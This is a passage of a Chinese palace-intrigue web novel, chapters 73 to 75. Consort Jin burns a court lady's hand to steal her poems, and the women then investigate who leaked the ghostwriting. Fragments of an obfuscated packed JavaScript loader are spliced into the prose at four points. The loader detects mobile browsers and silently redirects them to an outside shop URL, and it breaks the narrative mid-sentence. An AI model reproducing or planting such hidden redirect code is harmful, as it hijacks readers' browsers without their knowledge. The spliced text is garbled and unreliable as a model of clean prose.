秦惜音感受到被灼烧的痛楚,惨叫一声,本能地想把手移开。但瑾妃把她的手抓得很紧,她没法移开,只能持续被灼烧。 秦惜音紧紧皱着眉头,勉强开口道:“瑾妃……娘娘……您……这是……奴婢哪里做错了……” 瑾妃仍是一副温柔的口吻,说道:“本宫再问你最后一次,这两首诗是谁写的?” 忽然,秦惜音明白了瑾妃的意思。 她只能忍着疼痛和不甘,说道:“是……瑾妃娘娘所写,跟奴婢没有关系……” “大声点,本宫听不见。” “这两首诗……是瑾妃娘娘所写……奴婢亲眼看见……” “很好,记住你说过的话。无论谁问你,你都只能这么说,明白吗?” “是……” 这时,瑾妃才把秦惜音的手放开。 秦惜音的手掌已经被烫出了水泡,手上的皮肤也红肿起来,疼痛难忍。 但是,她不敢发出声音,只能忍着。 瑾妃拿出一张白纸,把秦惜音的两首诗抄录了下来。 然后,她当着秦惜音的面,把秦惜音写的这两首诗给烧了。 看着那张纸上的字迹被焚烧殆尽,秦惜音心中有一种说不出的感觉。 这就是强权吗? 当你处于弱势的时候,你的生命不属于自己,你的时间不属于自己,你的精力不属于自己,甚至连你的才华也不属于自己。 秦惜音本以为,自己成为女官,已经算翻身了。 但如今看来,还远远不够。 她还得接着往上走。 她站得越高,能欺负她的人就越少。 以前,秦惜音听说,瑾妃擅长作诗,所以特别受宠。 秦惜音还曾经真心佩服过瑾妃。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751599|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但如今想来,瑾妃之前的诗词,恐怕也是靠这种手段得来的。 就是不知道上一个倒霉的人是谁了。 瑾妃看着自己抄录下来的诗,非常满意。接着,她对秦惜音说道:“今日,本宫新作了两首诗,知道你懂诗,所以邀你一同鉴赏。没想到,你不小心碰到蜡烛,烫伤了手。本宫很心疼,给你五两银子治伤。这就是今天发生的所有事,明白了吗?” 秦惜音低眉顺眼地说道:“奴婢……明白。” 瑾妃露出得意的笑容,把一小锭银子放入秦惜音手中,然后让秦惜音离开。 秦惜音很想把这锭银子丢掉,但她不敢。 得罪瑾妃,不会有好结果。 现在的她,不得不低头。 但总有一天,她要讨回来。 秦惜音打开门,走了出去。 这时,瑾妃说道:“惜音,你回去好好治伤。下次本宫有了新诗,还要找你鉴赏。” “是。” 秦惜音明白了瑾妃的意思。瑾妃不止要抢这两首诗,以后她需要诗词了,秦惜音就得随时代写。 秦惜音自嘲地笑了笑。枉自己平日自诩清高,没想到也被迫卷入了这种事情里。 好在这事不会造成严重的后果,无非就是帮瑾妃固宠而已,秦惜音说服自己别去在意。 如果瑾妃逼自己害人的话,自己倒是要想办法拒绝。 等回了房间后,秦惜音拿来一支烫伤膏,给自己的手抹了一点,这才觉得稍微舒服一些。 但是,没过多久,她的手又火辣辣地疼了起来。 看来,烫伤太严重了,一时半会好不了。 沈司籍回房,看见秦惜音手受伤了,问了一声。秦惜音只说是自己不小心伤到的。 比翼宫。 瑾妃打开房门,叫来自己的大宫女远岫,说道:“远岫,你去请皇上过来,就说比翼宫的白海棠开了,本宫还写了两首咏白海棠的诗,请皇上一同品鉴。” 远岫道:“是。” 远岫来到御书房,通过皇帝的太监总管传话。 皇帝本来决定今天去看曲南蕊,但听说瑾妃写了咏白海棠的诗,来了兴趣,便对太监总管说道:“朕今日去瑾妃的比翼宫,你派人通知曲采女那边,就说朕去不了了。” 太监总管道:“是。” 皇帝来到瑾妃宫中,对那两首咏白海棠的诗赞不绝口,说道:“爱妃,你的诗写得越来越好了。” 瑾妃笑道:“妾身闲来无事,就研究诗词,终于有所进益。若能博皇上一笑,也就值得了。” 皇帝握着瑾妃的手,说道:“朕喜欢有才华的女子,可惜后宫妃嫔这么多,只有你和谦才人能作诗。在朕心里,你们俩是最特别的。” 听见皇帝提起另一位妃嫔,瑾妃心中一沉,但面上还是露出温婉的笑意,说道:“谢皇上夸赞。” 当晚,皇帝留了下来。 而曲南蕊得知皇帝不来时,有些生气,也有些伤心。她不敢当着传旨太监的面表现出来,只能等太监走后,才躲在房中哭。 “为什么……皇上今日翻的明明是我的牌子……我已经等了一个多月了,好不容易能见皇上一面……皇上,你为什么失约……” 屋子里没有别人,只有曲南蕊的质问声一遍遍地响起。可是,不会有人回答她的问题。 73. 皇帝起疑 曲南蕊哭累了,收了声。 她看着空荡荡的屋子,又看见了镜子里憔悴的自己,忽然愣住了,有些迷茫。 她为什么在这儿?为什么过着这种日子? 好像一开始,是她自己要来参加选秀的。 她满怀着希望,想跟皇帝成就一段佳话,就跟话本子里写的那样。 可惜,皇帝是她心中的明月,但对皇帝来说,她什么也不是。 皇帝通过翻牌子来决定晚上去哪里,而所有的后妃都盼望着被翻牌子。 仔细想想,这种关系是极其不对等的,妃嫔们就像小动物……不,连动物也不算,就是个物件。 可是,她明明不是物件,她是人啊。 究竟是从什么时候开始,她开始变得不像人了? 也许,从进宫的那一刻,就已经注定了…… 曲南蕊想起了从前跟秦惜音一起玩、一起学习的日子。 那时候,她们很自由,很快乐。她们无论想要什么,都有下人立刻去办;她们如果生病了或是不开心了,家人们马上就能察觉,第一时间照顾她们。 曲南蕊不禁想到,如果自己嫁给一个寻常的贵族子弟,过的日子还跟以前一样,不会有太大变化。 至少,她不需要等丈夫翻牌子,才能见丈夫一面。那些门当户对的男人,也不可能这样对待自己的妻子。 曲南蕊自嘲地笑了。 自己年少无知时,对皇帝的惊鸿一瞥,编织成了如今细密的囚笼。 她想挣脱,可是已经晚了。 她就像一条被渔网网住的鱼,虽然暂时还能活着,但她知道,她的生存空间只会越来越窄。她的命运不在自己手里。 渔网里确实有很多鱼食,但渔网外面,是广阔的大海。自己如果在大海里闯荡,未必不能找到食物。 曲南蕊静静地想着,但她知道她已经没什么选择权了。 过了一会,她喃喃地说道:“既然你不在乎我,那我也不在乎你了。有什么了不起的?我的人生就这样了……” —————— 几天后,皇帝再次来到瑾妃宫里,对瑾妃道:“爱妃,上次那两首诗,真的是你自己写的吗?” 瑾妃吓了一跳,随即笑着说道:“当然。不是嫔妾写的,难道还能是别人写的不成?皇上上次也看到了,那两首诗确实是嫔妾的字迹啊。” “但是,朕听说,那两首诗是你让一个女官写的,然后重新抄录了一遍,伪装成自己写的。” “皇上,怎么会有这样的事呢?您是听谁说的?” “道听途说罢了。” “皇上,嫔妾从很久之前就写诗给您看,这些年所写的诗也有几十首了。难道您不相信嫔妾吗?难道嫔妾连咏景物的诗也写不出来?那以前那些诗是怎么回事呢?总不能都是嫔妾找人代写的吧? 如果嫔妾让人代写那么多次,这事早就瞒不住了。” 皇帝释然道:“你说得对,是朕多心了。其实,朕本来也不那么在意妃嫔会不会写诗,会写自然最好,不会写也没关系。朕只是不希望被人欺骗而已。 爱妃颇有才华,朕这些年亲眼所见,确实不应该怀疑爱妃。” 瑾妃顺势靠到了皇帝怀里,说道:“皇上,妾身不介意……只要能见到您,嫔妾就很欢喜了……” “爱妃平时管理后宫,已经很辛苦,还要花时间研究诗词,实为后宫表率。朕给你准备了一些礼物,明日派人送来。” “谢皇上。” 第二天一早,皇帝走后,瑾妃的面色沉了下来。 她吩咐贴身侍女远岫:“远岫,你去把惜音给我带来。别惊动旁人。” 远岫道:“是。” ———— 秦惜音忽然看见瑾妃身边的人来找自己,有一种不好的预感。 但是,她自问没有做什么得罪瑾妃的事,因此便深吸了几口气,让自己冷静下来,然后跟着远岫来到了比翼宫。 刚来到瑾妃的房间,瑾妃就吩咐人把门窗关好,让所有下人都远远地离开。 接着,瑾妃叫秦惜音跪下,秦惜音只能下跪。 瑾妃打了秦惜音一巴掌,骂道:“贱.人,看着老实,心思挺多的啊。” 虽然瑾妃力气不大,但秦惜音被打懵了,也产生了一种屈辱的感觉。 她赶紧辩解道:“瑾妃娘娘在说什么?奴婢不明白。” “哼,你不明白?是你把替本宫写诗的事泄露给皇上的吧?” 秦惜音赶紧摇头:“奴婢没有……” “那皇上是怎么知道的?那天,房间里只有我和你两个人。” “奴婢真的不知道……” 看着秦惜音一脸无辜地辩解,瑾妃皱了皱眉头,也产生了怀疑。 秦惜音忽然想到,瑾妃身边是有女暗卫的,月季就是其中一个。 如果是女暗卫的话,会不会时刻不离瑾妃左右呢?那么,女暗卫知道瑾妃的秘密也是正常的。 但是,暗卫肯定是忠于主子的,不可能出卖瑾妃。 因此,秦惜音把这个可能给否决了。 瑾妃接着说道:“惜音,如果你不能拿出有力的证据证明自己的清白,本宫就把这笔账算在你的头上。本宫如果要把你逐出宫去,永远不许当女官,是非常容易的。” 秦惜音身躯抖了一下,同时脑子在飞速地思考。 没过多久,秦惜音说道:“娘娘,这事不是奴婢泄露的,有三点理由。第一,奴婢身为低等女官,没有机会单独面见皇上。这些天,皇上确实没有见过奴婢,您稍加打听就可以知道。 第二,即便是奴婢向皇上泄露的,皇上为何会信奴婢的话,而不是信您呢?您是多年的宠妃,跟皇上的情分非同一般。而奴婢就算说那两首诗是自己所写,也拿不出任何证据。 第三,皇上既然对此事产生怀疑,娘娘觉得皇上是从谁那里听来的?如果是听其他妃嫔或她们的宫人所说,皇上难免会怀疑,是其他妃嫔嫉妒娘娘,才造谣生事。 只有娘娘自己宫里的人在议论,偶然被皇上听闻,皇上才会相信几分。” 瑾妃听后,思索片刻,觉得秦惜音说的有道理。 之前皇帝的样子,明显是对自己产生了怀疑。但是,皇帝不是那种听风就是雨的性格。所以,这件事是自己宫里的人传出去的可能性更大。 但是,那天的事,明明没有任何宫人见到,除非是…… 瑾妃叫了一声:“月季。” 她的声音不大,但月季很快从窗户跳了进来。看来,刚才她一直在附近。 瑾妃问道:“月季,你身为本宫的暗卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751600|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一向不会离本宫太远。那天的事,你应该也见到了?” 月季说道:“娘娘,写诗那日,奴婢一直在房顶上藏着,并不在屋子里,所以没看见屋内的场景。” “但是,那天本宫跟惜音说的话,你一定也听到了?” “奴婢是娘娘的人,不该听的不会听,即便听到也会忘,娘娘请放心。这件事也不是奴婢泄露的,请娘娘明察。” 瑾妃挥了挥手,道:“罢了,你先出去吧。” 月季轻巧地一翻身,又离开了屋子。 瑾妃也觉得,不太可能是月季泄露的。月季从小就是瑾妃娘家培养的,暗卫的忠诚度又在一般家仆之上。就算别人会背叛,月季也绝无可能背叛。 而且,就算要背叛,也得搞个大事才划算。只是泄露瑾妃抢别人的诗,根本就没法让瑾妃伤筋动骨。 瑾妃看着秦惜音,没有让她起来,而是说道:“惜音,此事因你而起,不如就由你来审问本宫宫里的下人,看到底是谁泄露了这件事。如果你找不到泄密者的话,本宫会找个理由,把你逐出宫去。逐出之前,还会将你杖责三十。” 秦惜音觉得这件事太过荒诞,荒诞到她都想笑。 就算有人泄露瑾妃抢诗的事,这本来就是事实。 可是,事实得不到披露,公道得不到伸张,现在秦惜音这个被抢了诗作的受害人,还要去调查是谁泄露的秘密。 这无异于煮牛肉,还要让牛亲自起锅烧火。 但是,挣扎没有意义。 秦惜音要考虑的,是如何渡过这一关。 秦惜音略加思索,说道:“娘娘,当日的事,您宫里的下人应该不会知道,毕竟您当时屏退了所有下人。月季姑姑虽然就在附近保护您,可能听到了一些内容,但她也绝无可能泄露出去。 所以,如果真是您宫里的下人在议论您抢了别人的诗,那一定是第三方告诉她们的。而这第三个人,应该不是当日亲眼看到了什么,而是他一直都知道,娘娘有让别人代写诗词的习惯。 所以,当娘娘有了新诗之后,那个人猜到,娘娘这次肯定又是找人代笔的。所以,他就收买了您宫里的人,在皇上面前散布谣言。 娘娘,您仔细想想,有谁知道您让人代写诗词的事吗?不论是现在,还是以前……” 瑾妃沉思片刻,脸色越来越凝重。 过了一会,她叫来月季,说道:“月季,你去把莫典籍请来。” 月季应声而去。 秦惜音有些惊讶,在心中飞快地猜测事情真相。 瑾妃要请莫典籍过来?难道莫典籍知道瑾妃一直找人代笔写诗词的事吗? 这件事会是莫典籍泄露的吗? 可是,秦惜音跟莫典籍短暂地接触过几次,并不觉得莫典籍会做这种事。 还是说…… 秦惜音心中有了另一个猜测,这个猜测让她产生物伤其类的感觉。 过了一会,莫典籍带到。 她仍是一副清冷忧郁的模样,即便见了瑾妃,也没有和颜悦色,只是淡淡地说道:“奴婢莫寒星,见过瑾妃娘娘。” 瑾妃冷笑道:“莫寒星……你先跪下。” 莫寒星眼中闪过一丝不甘,但还是顺从地跪在了秦惜音旁边。 她没有抬头,也没有看秦惜音。 74. 黑白颠倒 瑾妃问道:“莫典籍,你可真是好手段啊。你听说本宫最近写了新诗,又不信是本宫亲自写的。你得知惜音之前来过本宫这里一趟,就猜测本宫是找惜音代笔的,并把这件事泄露给皇上。 这可真是一石二鸟的好手段,既能报以前的仇,也能让皇上怀疑本宫。 可惜,你机关算尽,还是被本宫察觉了。” 莫典籍有些惊讶,抬头看向瑾妃:“瑾妃娘娘,您在说什么?我从未将您找人代笔的事说出去。而且,我也不知道惜音前几天来您这里过。 这么说,您最近找惜音代笔了?看来,娘娘是对我的诗作不满意了,以后也用不着我了。 但这是娘娘的自由。奴婢只想告诉娘娘,奴婢从来不敢泄露娘娘的秘密。如果皇上知道您的诗词都不是自己所写,那应该是其他人泄露的,跟奴婢没关系。” “怎么会跟你没关系?这些年来,本宫一直找你代笔写诗,除了前几天找惜音写过一次,没有找过第三个人。而每次本宫叫你写诗的时候,都是屏退下人的,不可能有其他人知道。 你自己不敢反抗本宫,所以趁着惜音来为本宫代笔的时候,偷偷把这事泄露出去。这样,你既报复了本宫,又会让本宫怀疑惜音,你自己则能不被怀疑,是不是这样?” “不是的,娘娘,请您明察。奴婢这些天一直待在屋里,几乎没见过惜音。奴婢也不跟她同住,所以不知道她的去向。奴婢确实不知道她曾为娘娘写诗,又如何泄露出去?” 听到这儿,秦惜音知道自己猜对了。 瑾妃向来以诗作见长,秦惜音也以为瑾妃本来就会写诗。但是,前几天瑾妃抢了秦惜音的诗,秦惜音猜测,瑾妃以前的诗应该也是找人代写的。 她只是没想到,之前的代写者就是莫寒星。 怪不得莫寒星总是一副忧郁的样子,还总是称病,不积极工作。 她虽有才华,但她的才华却被瑾妃利用。她呕心沥血写的诗,却不能署自己的名字,而是被瑾妃抢走,当做争宠的筹码。 瑾妃凭借这些诗,越来越得宠。而幕后的莫寒星,什么也得不到。 她没法反抗瑾妃,还要看着瑾妃一天比一天得势。这种煎熬,任谁也受不了。 所以,莫寒星的病,大约只有三分是装的,另外七分是真的。 秦惜音有些后悔。 如果她早猜到之前为瑾妃写诗的是莫寒星,刚才就不会说那一番话,让莫寒星也染上了嫌疑。 现在,秦惜音和莫寒星,似乎必须得有一个人认下泄密的罪名,否则今日之事是没法善了了。 瑾妃看着秦惜音和莫寒星两个人,说道:“泄露秘密的,肯定是你们两个中的一个。或者,是你们俩联起手来,想对付本宫。知道什么是蚍蜉撼树吗? 现在招认,本宫还能从轻处罚。否则,本宫就要对你们俩用刑了。 如果你们不想拖累另一个人,就赶紧招认吧。” 莫寒星低头笑了笑,没有说话。 秦惜音发现,莫寒星的笑容里尽是绝望和怨恨。 这是一个小人物被逼到没办法了,才会产生的笑意。 秦惜音觉得,这件事应该不是莫寒星干的。 她没有这样的心机,也没这么狠。 她就算知道秦惜音为瑾妃代笔的事,也不会说出去。因为,一旦泄露出去,瑾妃会第一时间为难秦惜音。 而莫寒星就算要复仇,也不会拉上一个无辜的人。 尽管秦惜音跟莫寒星交往不深,但还是相信她的人品。 那么,不是莫寒星的话,又是谁呢? 秦惜音说道:“瑾妃娘娘,奴婢敢担保,泄密的绝不是奴婢或是莫典籍。请娘娘给奴婢一点时间,调查清楚……” 瑾妃冷笑:“你的担保值几个钱?再说,刚才不是你诱导本宫怀疑莫典籍的吗?” “奴婢当时只是提出一个猜测,奴婢认为可能还有旁人知道您找人代笔的事,没想到那个‘旁人’是莫典籍……但是,莫典籍是个好人,奴婢可以确定……” “她是好人……所以,泄密者是你?” 秦惜音慌乱地否认:“不是奴婢!” 这时,莫寒星却突然说道:“娘娘不必再逼问惜音了。泄密的人,是我。请娘娘赐奴婢一死。” 瑾妃露出了然的笑意,说道:“早承认不就好了?本宫早就猜到是你。不过,是要让你死,还是要让你生不如死,本宫需要好好考虑一下……” 莫寒星面色平静,似乎一点也不害怕。但是,她的眼神透露出求死之意,似乎不再留恋这个世界。 秦惜音本能地觉得,不是莫寒星泄密的。莫寒星只是对现在的生活绝望了,一心求死。 她宁可死,也不想再被瑾妃利用了。 秦惜音赶紧小声劝解莫寒星:“莫典籍,您没做过的事,千万不能承认啊。瑾妃娘娘仁慈聪慧,一定不会让您背上莫须有的罪名的。” 莫寒星道:“你觉得不是我泄密的?那你拿得出证据吗?如果拿不出,那就肯定是我。总之不会是你。” “证据……证据可以找的,只要瑾妃娘娘宽限我一段时日……” 瑾妃道:“惜音,莫典籍都承认了,你还要调查?” 秦惜音辩解道:“娘娘,您听莫典籍刚才话里的意思,她是因为没有证据,不知道怎么辩解,所以才不得不承认。但是,如果泄密的不是她,那就证明娘娘身边有另一个包藏祸心之人。如果这个人不找出来,娘娘能安心吗?” 瑾妃皱眉思索片刻,过了一会,点头道:“你说得对。惜音,本宫给你三天时间调查。如果三天之后,你没有任何线索,本宫会将你和莫典籍一同治罪。” “是。” 秦惜音有些忧心,但她至少争取到了三天的时间。 她和莫寒星一起离开。 莫寒星身体不好,跪久了之后,走路有些摇晃。秦惜音搀扶着她。 莫寒星问道:“为什么帮我?刚才,让我顶了罪,瑾妃就会放过你了。” “可是,我知道莫典籍不是这样的人。” “你为什么这么相信我?” 秦惜音粲然一笑:“我相信自己是个聪明人。聪明人总是能做出最准确的判断。” 莫典籍愣了一下,随即说道:“那你判断一下泄密者是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751601|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁吧。” “这……还要经过调查。” “看来,你也没自己说的那么聪明。” “让莫典籍见笑了。” 莫寒星忽然停了下来,看向秦惜音:“之前,我让你藏好自己的诗作,不要让人看见,你没听我的?” “不是的,我确实藏好了……只是,我前些年写的一些诗,被瑾妃看见了,所以她才找我去代笔。” “原来是这样……在这宫里,有才能未必是好事。有时候,就算是想隐藏才能自保,都做不到。事已至此,也只能想办法自证清白了。你准备怎么查?” “我猜,皇上八成是听瑾妃宫里的人议论这件事,才半信半疑的。而那些宫人没法私自跑到皇上面前说什么,肯定是趁着皇上来看瑾妃时,假装躲在一边偷偷议论。所以,只需要知道皇上上次来看瑾妃时,那些宫人都在做什么就好。 如果有解释不清楚的,那就很可疑。而那些宫人的背后,可能还有人指使,可以顺带着查出来。” 莫寒星点头道:“这是个办法。还有,可以看看哪几位宫人的房中忽然多出了很多钱财,又解释不清楚来源的,说不定就是被收买了。两条线索可以结合起来看。” “莫典籍说的有道理……那我尽快把这两个思路告诉瑾妃,让瑾妃配合一下。” 过了一会,莫寒星有些黯然地道:“你不觉得这挺可笑的吗?瑾妃明明就抢了我们的诗,但不许人说。有人说出去了,她还要查,还要找到相关责任人,加以处罚……这是个什么样的世界?黑白还要颠倒多久?” “有很多事,我们暂时没办法,但不代表永远没办法。莫典籍,您就是觉得太绝望了,所以刚才才故意认罪的吧?可是,我认为那样做没有意义,是在浪费生命。 无论遭遇什么,坚持活下去,才会有转机。” “真的会有转机吗?这世上很多事,是不会有结果的。” “不,会有的。只要活得够长,一定能见到。” 秦惜音眼神坚定,莫寒星心中也升起了一丝希望。 莫寒星看着秦惜音,凄然一笑:“年轻真好,总是对这个世界抱有希望。” 秦惜音仰头看了看天,今天虽是阴天,但还是有一些阳光透过云层,照在了大地上。 “莫大人,这个世界一直在变化。它是由许多的人组成的,我也是其中之一。所以,我一直相信,我可以凭借自己的力量,对这个世界造成一些影响。也正因为有这样的想法,我才会一直保持着希望。” “你说得对……” 接下来的路,二人默默无言,只是往前走去。 很快,就到了莫典籍的屋子。 秦惜音找到了治疗淤青的药膏,给自己和莫典籍的膝盖都涂了一些。 莫典籍非常瘦,膝盖处也没什么肉,所以淤青特别明显。秦惜音稍微好一些,但也很疼。 二人都咬牙忍着。 这种程度的伤,对她们来说根本不算什么。 身在宫中,随时有可能受更重的伤,甚至丢了命。 莫典籍忽然说道:“如果我们不替瑾妃找幕后泄密之人,会怎么样?” 75. 银灯银镜 秦惜音吓了一跳,道:“如果不找出真正泄密的人,瑾妃不会放过我们的。到时候顶罪的就是我们。” 莫寒星道:“那个人既然有能力在瑾妃眼皮子底下害她,我们把那个人留下,以后说不定瑾妃会栽在那个人手里,他也算是替我们报仇了。” “可是,我觉得那个人的出发点不是帮我们报仇。他设这个局,让瑾妃怀疑你我,不仅差点害瑾妃暴露真面目,也差点害死我们两个。如果我们现在不揪出他,死的就是我们。” “我觉得,瑾妃未必会杀了我们,这件事说到底并不是什么大事。” 秦惜音摇头道:“不,瑾妃能有如今的地位,除了依靠她的美貌、家世和智慧外,才华也是很重要的一项。她会写诗给皇上看,所以皇上才觉得她特别,她也才成为宫里地位最高的妃嫔。 如果让皇上知道,瑾妃的才华是假的,那瑾妃的地位就岌岌可危。她很有可能为了隐瞒真相,杀了我们。 而且,就算她只是把我们逐出宫去,我们努力这么久才当上女官,就都白费了。” 莫寒星喃喃道:“你真的觉得在宫里当女官很好吗?” “我知道有不好的地方,但当上女官,至少有个盼头,会让我觉得我还活着,我的血还是热的。” “即便升为五品的尚仪、尚宫、尚食等职位,也不过是皇家的奴婢罢了。” “我知道。可是,普天之下,莫非王土。率土之滨,莫非王臣。即便我们出了宫,也好不到哪里去。在宫里,至少我们是有品级的女官。在外面,成了普通老百姓,欺压我们的人更多。” 莫寒星沉默片刻,说道:“你说得对,我确实不应该打退堂鼓。” “莫典籍,您放心吧,我一定会查出真相。这件事不过是我们人生路上的小小坎坷罢了,我们能搞定。” 莫典籍被逗笑了,说道:“如果我早认识你就好了。惜音,你真的很坚韧。” “想活下去,就得坚韧。莫典籍,您好好休息,我要去跟瑾妃商量捉内鬼的事了。” “嗯。” 秦惜音回到比翼宫,求见瑾妃,大宫女远岫却对她说:“娘娘现在在忙,我先带你去耳房等候。” “是。” 秦惜音在耳房等候片刻,接着,瑾妃一个人过来了。 瑾妃让秦惜音把门窗都关上,秦惜音依言关上。 瑾妃面色有些难看,不知道是不是因为别的事生气。 她对秦惜音道:“你现在回来,是想到捉内鬼的方法了?” “正是。奴婢觉得,应该搜查每个宫人的箱笼,看有没有谁突然多出了一笔钱财,那就可能是被收买的。 还有,普通的宫人应该没办法单独见到皇上,说您的坏话。所以,皇上怀疑您的诗是找人代写的,应该就是他来见您的那天早上,在比翼宫里听下人议论才得知的。 您应该调查皇上上次过来时,比翼宫所有宫人的动向。如果有说不清楚的,说不定就是背叛您的人。” 瑾妃道:“你的思路有道理。不过现在,奸细似乎已经自己跳出来了。” “娘娘此言何意?” “刚才,杨昭仪过来,向我要两个宫女。杨昭仪说她很喜欢那两个宫女,希望我割爱,她再给我挑两个好的送来。我想,我这边刚出事,杨昭仪就来我这里挖人,这件事的主谋很有可能是她。 而她索要的那两个宫女,可能就是故意在皇上来时议论我的秘密的人。” 秦惜音惊讶道:“还有这事?那娘娘把那两个宫女给杨昭仪了吗?” “没有,杨昭仪还在客厅,我找了个借口出来了。” “娘娘,您的猜测不无道理。但是,杨昭仪是怎么知道您代笔写诗之事?如果她一计不成,再生一计怎么办?现在最重要的,是试探一下她知不知道这件事。” “她肯定知道。至于如何知道的,还需要调查。” “这可不一定。也许,她来要那两个宫女,有别的原因。娘娘不如先用言语试探她一下。” “怎么试探?这其中的尺度,很难拿捏。一旦说多了,很有可能暴露我不会写诗的事。” “那让奴婢陪您一同去见杨昭仪吧,奴婢先开口,您见机行事。奴婢也可以顺便观察一下杨昭仪和那两个宫女。” “也行,那你跟本宫来吧。别想着搞鬼,也别想着害本宫。否则,本宫会让你吃不了兜着走。” “是,奴婢绝不敢有二心,请娘娘放心。” 瑾妃带着秦惜音,来到了客厅。 杨昭仪果然坐在这里,眼神有些深沉,不知道在盘算些什么。 见瑾妃进来,杨昭仪起身行礼。接着,秦惜音也向杨昭仪行礼。 杨昭仪盯着秦惜音看了一会,秦惜音觉得,杨昭仪似乎在看自己脸上的疤痕。 大概是因为秦惜音脸上的疤痕还在,杨昭仪露出了一抹很难察觉的微笑,似乎有些高兴。 接着,杨昭仪问道:“惜音,你怎么在这里?” 秦惜音道:“奴婢闲来无事,听闻瑾妃娘娘擅作诗词,想来见识瑾妃娘娘的新作,所以前来拜访。” 闻言,杨昭仪眼神中闪过一丝嫉妒,随即笑盈盈地说:“原来是这样。看来瑾妃姐姐的才华,不仅打动了皇上,还打动了宫中的女官。还真是令人羡慕啊。” 瑾妃笑道:“不过是雕虫小技罢了,杨昭仪谬赞了。” 看杨昭仪的反应,秦惜音判断,杨昭仪应该是不知道瑾妃不会写诗的事的。 否则,刚才秦惜音提起这件事时,杨昭仪不会是嫉妒的反应,而是会有一种看穿一切、准备什么时候揭发瑾妃的老谋深算感。 而瑾妃也察觉到了这一点,她跟秦惜音交换了一个眼神,意思是她也觉得幕后主使者不像杨昭仪。 秦惜音有些奇怪,杨昭仪既然跟这件事没关系,为什么突然来要走两个宫女? 秦惜音朝杨昭仪面前的两个宫女看去,见那两个宫女长得都挺妖娆的,身材也很好。也许女人会觉得她们不够端庄,但在男人眼里,这样的长相很有吸引力。 秦惜音心中闪过一些猜测,不知道对不对。 这时,杨昭仪笑着对瑾妃说道:“瑾妃姐姐,不过是两个宫女,您就给我吧。” 瑾妃道:“你为何非要银灯、银镜两人不可?如果妹妹缺宫女的话,找内侍省要几个就是了。” 看来,杨昭仪面前这两个宫女,就是银灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751602|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、银镜了。 杨昭仪道:“瑾妃姐姐,我跟她们两人合得来,所以想要她们。反正她们也只是三等宫女,对姐姐来说不重要,为何不肯给我呢?” 瑾妃慢悠悠地说道:“宫女是伺候主子的,只要手脚麻利、不反抗主子就行了,要合得来干什么?再说,银灯、银镜两人在我身边这么久了,我对她们也有感情了,不愿意放人,还请妹妹理解。” “瑾妃姐姐,如果你愿意放人,我可以送你南海珊瑚珠一串,先秦乐器一套,九色鹿螺钿首饰盒一个。” “真没想到,这两个丫头对妹妹来说这么值钱啊。那我要好好考虑几天。来人,送客。” 杨昭仪还想说什么,但是瑾妃既然下逐客令了,自己也不好再待下去,只能告退了。 等杨昭仪走后,瑾妃看向两个宫女银灯、银镜:“你们两个,很有本事,什么时候攀上杨昭仪的?” 银灯、银镜赶紧跪下,磕头请罪。 银灯说道:“娘娘,我们跟杨昭仪并无来往,不知道她为何要来到比翼宫,想带走我们。” 银镜道:“也许,杨昭仪只是想给您找不痛快而已。” 瑾妃冷哼道:“你们以为,本宫很好糊弄吗?你们现在最好自己招认,若是让本宫发现你们跟杨昭仪勾结的证据,本宫会从重处罚。” 两个宫女对视了一眼,有些心虚,但又不敢说什么。 这时,秦惜音有了一个猜测。 杨昭仪不知道瑾妃找人代写诗词的秘密,那她来要这两个宫女,应该有别的原因。 最大的可能是,这两个宫女长得好看,杨昭仪想收她们为己用,把她们进献给皇帝。 这样,杨昭仪也能增强自己的势力。 现在,宫中已经有两个地位妃嫔生下了孩子,而且那两个妃嫔竟然生了三个儿子,其中一位生的是双胞胎。 那两个妃嫔,就是太后进献给皇帝的宫女,分别叫梧桐、兰花。 之前,太后因忧心皇帝无子,特意找了善于相面的女相师明祥,为寿康宫的所有宫女相面。 女相士明祥说,梧桐和兰花两人能生贵子,可以进献给皇上。 当时,秦惜音还是太后身边的二等宫女,女相士也顺便给秦惜音相面。 